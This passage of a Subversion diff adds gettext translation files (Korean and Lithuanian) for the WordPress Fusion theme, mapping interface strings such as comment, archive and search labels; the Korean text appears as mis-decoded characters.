+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "1 Comment"
+msgstr "1ê°ì ëêž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "% Comments"
+msgstr "% ê°ì ëêž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:65
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:12
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:33
+msgid "&laquo; Older Entries"
+msgstr "&laquo; ìŽì  êž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:66
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "Newer Entries &raquo;"
+msgstr "ìµì  êž &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "ì£ì¡í©ëë€, íì§ë§ %s ì¹Ží
+ê³ ëŠ¬ì ìì§ êžìŽ ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "ì£ì¡í©ëë€, íì§ë§ ìŽ ë ì§ì ìì±ë êžìŽ ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "ì£ì¡í©ëë€, íì§ë§ %s ì êžìŽ ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "No posts found."
+msgstr "êžì ì°Ÿì ì ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "ìë³ ë³ŽêŽ:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "ì£Œì ë³ ë³ŽêŽ:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:20
+msgid "This user hasn't shared any biographical information"
+msgstr "ìŽ ì ì ë ì êž° ì ë³Žë¥Œ ê³µì íì§ ìììµëë€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:25
+msgid "Homepage:"
+msgstr "ííìŽì§:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:26
+msgid "Yahoo Messenger:"
+msgstr "ìŒí ë©ì ì :"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:27
+msgid "Jabber/GTalk:"
+msgstr "Jabber/GTalk:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:28
+msgid "AIM:"
+msgstr "AIM:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:29
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:25
+msgid "l, F jS, Y"
+msgstr "Yë
+ F jìŒ, l"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Tags: "
+msgstr "íê·ž:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Posted in"
+msgstr "ì¹Ží
+ê³ ëŠ¬:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Edit"
+msgstr "ížì§"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:59
+msgid "No posts found by this author."
+msgstr "ìŽ êžìŽìŽì êžìŽ ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "ëêžì ë³Žêž°ìíŽ ë¹ë°ë²ížë¥Œ ì
+ë ¥íìžì"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "ëêž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "ížëë°±"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "ìì§ ëêžìŽ ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "ëêžì ì°êž°ìíŽìë <a href=\"%s\">ë¡ê·žìž</a> íŽìŒë©ëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "ìëµ ì·šì"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logged in as"
+msgstr "ë€ìê³Œ ê°ìŽ ë¡ê·žìž:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Log out of this account"
+msgstr "ìŽ ê³ì  ë¡ê·žìì"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logout &raquo;"
+msgstr "ë¡ê·žìì &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "<strong>%s</strong>ë ëìì€ì ê±ž íìí©ëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Change &raquo;"
+msgstr "ë³ê²œ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Close &raquo;"
+msgstr "ë«êž° &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+msgid "Name"
+msgstr "ìŽëŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(required)"
+msgstr "(íì)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "E-Mail"
+msgstr "ìŽë©ìŒ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(will not be published)"
+msgstr "(ê³µê°ëì§ ìì)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:88
+msgid "Website"
+msgstr "ì¹ì¬ìŽíž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Submit Comment"
+msgstr "ëêž ë±ë¡"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:124
+msgid "No trackbacks yet."
+msgstr "ìì§ ížëë°±ìŽ ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Comments are closed."
+msgstr "ëêžì ë«íìµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Fusion theme by"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "powered by "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "êž (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "ê·žëŠ¬ê³ "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "ëêž (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:15
+msgid "Increase/Decrease text size"
+msgstr "êžì í¬êž° ìŠê°/ê°ì"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:16
+msgid "Switch between full and fixed width"
+msgstr "ì ì²Ž í­ê³Œ ê³ ì ë í­ì ë³ê²œ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Fusion Theme Options"
+msgstr "Fusion í
+ë§ ìµì
+"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:91
+msgid "Meta keywords:"
+msgstr "ë©í í€ìë:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:92
+msgid "Separate with commas"
+msgstr "ìŒíë¡ ëëêž°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Use custom logo image"
+msgstr "ì¬ì©ì ë¡ê³  ìŽë¯žì§ ì¬ì©"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "í
+ë§ íŽëì \"logo.png\" ê°ìŽ ë¡ê³ ë¥Œ ì
+ë¡ë:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "You should export the logo image with transparency enabled"
+msgstr "í¬ëª
+ìŽ íì±íë ë¡ê³  ìŽë¯žì§ë¥Œ ëŽë³ŽëŽìŒ ë©ëë€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Disable homepage tab"
+msgstr "ííìŽì§ í­ ë¹íì±í"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Check this if you are using a static page as the homepage"
+msgstr "ë§ìœ ì ì  íìŽì§ë¡ ííìŽì§ë¥Œ ì¬ì©íë€ë©Ž ì²Ží¬íìžì"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Show the categories as header tabs"
+msgstr "ì¹Ží
+ê³ ëŠ¬ë¥Œ í€ë í­ìŒë¡ ë³Žêž°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "(instead of pages)"
+msgstr "(íìŽì§ ëì )"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Disable the default category block in the sidebar"
+msgstr "ì¬ìŽëë°ì êž°ë³ž ì¹Ží
+ê³ ëŠ¬ë¥Œ ë¹íì±í"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "ë§ìœ ì¹Ží
+ê³ ëŠ¬ íìë¥Œ Widgetized íê±°ë ê·žë¥ ì¹Ží
+ê³ ëŠ¬ë¥Œ ìšêž°êžž ìíë€ë©Ž ì²Ží¬íìžì"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default search block in the sidebar"
+msgstr "ì¬ìŽëë°ì êž°ë³ž ê²ìì ë¹íì±í"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you don't like the theme-default search look"
+msgstr "ë§ìœ í
+ë§-êž°ë³ž ê²ììŽ ë§ì ë€ì§ ììŒë©Ž ì²Ží¬íìžì."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable layout controls (Aa/<>)"
+msgstr "ë ìŽìì ì»šížë¡€ ë¹íì±í (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Default page content width:"
+msgstr "êž°ë³ž íìŽì§ ë³žë¬ž í­:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Fixed (960 pixels)"
+msgstr "ê³ ì ëš (960 íœì
+)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:131
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "ì ëì²Ž (ë°©ë¬žìì íë©Ž í­ì 95 íŒìŒíž)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "ë ìŽìì ì»šížë¡€ì íì±ííë ê²œì°, ë°©ë¬žìì ìë°ì€í¬ëŠœíž íìŽì§ í­ ì¿ í€ ì€ì ì ìŽ ìµì
+ì ë¬Žìí  ê²ì
+ëë€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Sidebar position:"
+msgstr "ì¬ìŽëë° ìì¹:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:139
+msgid "Right (default)"
+msgstr "ì€ë¥žìªœ (êž°ë³ž)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:143
+msgid "Left"
+msgstr "ìŒìªœ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "Disable jQuery and the associated code"
+msgstr "jQuery ì ê·žì êŽë šë ìœë ë¹íì±í"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "ìŽë íìŽì§ ë¡ëë¥Œ ~70 KB ì ëë¡ ê°ììí€ì§ë§, ëªê°ì§ êž°ë¥ê³Œ íšê³Œë¥Œ ë¹íì±í í©ëë€ (ë ìŽìì ì»šížë¡€, ì¹Ží
+ê³ ëŠ¬ ë©ëŽìì RSS ë§í¬, ëêž í­, ížëë°±).<br />ížì€íž ëì­í­ì ë¬žì ê° ìì§ ìë€ë©Ž ìŽê²ì ë³ê²œíì§ ë§ìžì."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Custom CSS code"
+msgstr "ì¬ì©ìì ì CSS ìœë"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr "ì¬êž°ì CSSì ì§ììŽ ìë€ë©Ž êŽë šë ëììžì ì¶ê°íê±°ë ë°ê¿ ì ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "to see existing styles, which you can redefine here."
+msgstr "ì ì€íìŒì íìžíìžì, ì¬êž°ì ì¬ìì í  ì ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "ë§ìœ í
+ë§ ì
+ë°ìŽíž íì ë³ê²œì¬í­ì ë³Žì¡Žíê³  ì¶ë€ë©Ž style.cssë¥Œ ìì íì§ ë§ìžì! ëì  ìŽ ìµì
+ì ì¬ì©íìžì."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:155
+msgid "Save Changes"
+msgstr "ë³ê²œ ì ì¥"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+msgid "by"
+msgstr "by"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s  %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:208
+msgid "Your comment is awaiting moderation."
+msgstr "ëêžì ì¹ìžì êž°ë€ëŠ¬ê³  ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:218
+msgid "Reply"
+msgstr "ìëµ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:218
+msgid "Quote"
+msgstr "ìžì©ë¬ž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+msgid "You are Home"
+msgstr "íì
+ëë€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Home"
+msgstr "í"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Click for Home"
+msgstr "íìŒë¡ ê°êž°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:28
+msgid "This entry was posted on"
+msgstr "ìŽ êžì ìì±ìŒì"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:30
+msgid "and is filed under"
+msgstr "ê·žëŠ¬ê³  ì¹Ží
+ê³ ëŠ¬ë"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:32
+msgid "You can follow any responses to this entry through"
+msgstr "ë¹ì ì ë€ìì íµíŽ ìëµì ë°ë¥Œ ì ììµëë€: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "ë¹ì ì <a href=\"#respond\">ìëµì ëšêžž ìë ìê³ </a>, ë¹ì ì ì¬ìŽížìì <a href=\"%s\" rel=\"trackback\">ížëë°±</a> ì í  ìë ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "ìëµì íì¬ ë«íìµëë€, íì§ë§ ë¹ì ì ì¬ìŽížìì <a href=\"%s\" rel=\"trackback\">ížëë°±</a> í  ì ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "ëìŒë¡ ëìŽê°ì ìëµì ëšêžž ì ììµëë€. íì íì¬ íì©ëì§ ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "ëêžê³Œ íì íì¬ ë«íìµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "ìŽ êž ížì§"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "ì£ì¡í©ëë€, êž°ì€ê³Œ ìŒì¹íë ì²šë¶ íìŒìŽ ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:60
+msgid "Not Found"
+msgstr "ë¥Œ ì°Ÿì ì ììµëë€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:61
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "ì£ì¡í©ëë€, ì¬êž°ì ìë ë¬Žìžê°ë¥Œ ì°Ÿê³  ììµëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:9
+msgid "Links:"
+msgstr "ë§í¬:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-hidecomments.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:19
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "ìŽ íìŽì§ì ëëšžì§ ë¶ë¶ì ìœêž° &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:7
+msgid "Search Results"
+msgstr "ê²ì ê²°ê³Œ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:39
+msgid "No posts found. Try a different search?"
+msgstr "êžì ì°Ÿì ì ììµëë€. ë€ë¥ž ê²ìì íŽë³Žìê² ìµëê¹?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "ê²ì"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "íì¬  %1$s ì¹Ží
+ê³ ëŠ¬ì ë³ŽêŽì íìì€ì
+ëë€ ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "íì¬ %1$s ì ë³ŽêŽì íìì€ì
+ëë€. "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "íì¬ %1$s ë
+ì ë³ŽêŽì íìì€ì
+ëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "ë€ìì ë³ŽêŽì ê²ìíìµëë€:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "íì¬ ë³ŽêŽì íìì€ì
+ëë€."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:66
+msgid "Archives"
+msgstr "ë³ŽêŽ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:77
+msgid "Meta"
+msgstr "ë©í"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:61
+msgid "Sorry, no posts matched your criteria."
+msgstr "ì£ì¡í©ëë€, êž°ì€ê³Œ ìŒì¹íë êžìŽ ììµëë€."
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/lt_LT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/lt_LT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/lt_LT.po	(revision 44)
@@ -0,0 +1,608 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Wordpress Theme Fusion 2.6\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-04-05 18:03+0200\n"
+"PO-Revision-Date: 2009-04-27 08:36+0200\n"
+"Last-Translator: Donatas G. <dgvirtual@akl.lt>\n"
+"Language-Team:\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms:  nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && (n%"
+"100<10 || n%100>=20) ? 1 : 2);\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:6
+msgid "Page not found (404)"
+msgstr "Puslapis nerastas (klaida 404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+#, php-format
+msgid "Archive for category %s"
+msgstr "Kategorijos â%sâ archyvas"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+#, php-format
+msgid "Posts Tagged %s"
+msgstr "Ä®raÅ¡ai, paÅŸenklinti â%sâ ÅŸyma"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+#, php-format
+msgid "Archive for %s"
+msgstr "â%sâ archyvas"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "Y-m-d"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "F, Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Autoriaus archyvas"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "TinklaraÅ¡Äio archyvai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:15
+msgid "Permanent Link:"
+msgstr "NuolatinÄ nuoroda:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s on %s"
+msgstr "PaskelbÄ %s kategorijose: %s, %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:33
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "%s Ä¯raÅ¡ai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:17
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:26
+msgid "Read the rest of this entry &raquo;"
+msgstr "Skaityti visÄ
+ Ä¯raÅ¡Ä
+ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "No Comments"
+msgstr "KomentarÅ³ nÄra"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "1 Comment"
+msgstr "Vienas komentaras"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "% Comments"
+msgstr "% komentarai(-Å³)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:63
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:48
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Ankstesni Ä¯raÅ¡ai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:64
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:50
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:14
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:35
+msgid "Newer Entries &raquo;"
+msgstr "Naujesni Ä¯raÅ¡ai &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:70
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Deja, kategorijoje %s dar nÄra Ä¯raÅ¡Å³."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Deja, nÄra Ä¯raÅ¡Å³ Å¡ia data."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:75
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Deja, dar nÄra autoriaus %s Ä¯raÅ¡Å³."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+msgid "No posts found."
+msgstr "Ä®raÅ¡Å³ nerasta."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "Archyvai pagal mÄnesius:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Archyvai pagal temÄ
+:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:16
+msgid "This user hasn't shared any biographical information"
+msgstr "Å is vartotojas nepaskelbÄ jokios biografinÄs informacijos"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:21
+msgid "Homepage:"
+msgstr "NamÅ³ puslapis:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:22
+msgid "Yahoo Messenger:"
+msgstr "Yahoo messenger:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:23
+msgid "Jabber/GTalk:"
+msgstr "Jabber/GTalk:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:24
+msgid "AIM:"
+msgstr "AIM:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:41
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "l, F jS, Y"
+msgstr "l, F jS, Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
